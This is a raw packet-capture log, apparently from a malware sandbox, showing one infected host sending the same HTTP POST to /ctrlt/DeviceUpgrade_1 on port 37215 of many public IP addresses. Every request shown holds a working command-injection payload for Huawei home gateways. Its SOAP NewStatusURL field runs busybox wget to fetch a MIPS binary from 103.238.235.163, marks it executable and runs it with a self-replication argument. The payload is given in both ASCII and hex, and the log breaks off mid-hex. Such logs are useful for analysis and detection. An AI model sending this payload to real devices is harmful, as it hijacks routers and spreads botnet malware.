Aug 1, 2024 15:34:55.607836962 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	37330	130.233.217.238	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607861042 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.14	57426	157.169.17.131	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607892990 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	38418	115.105.251.29	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607939005 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	40182	41.169.67.45	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607939005 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	59086	61.43.155.73	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607985020 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	54608	103.20.177.119	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.607990980 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	34842	197.169.248.145	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608055115 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	45752	41.53.76.199	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608083010 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	56996	157.60.145.99	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608088970 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	50544	197.124.18.82	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608100891 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 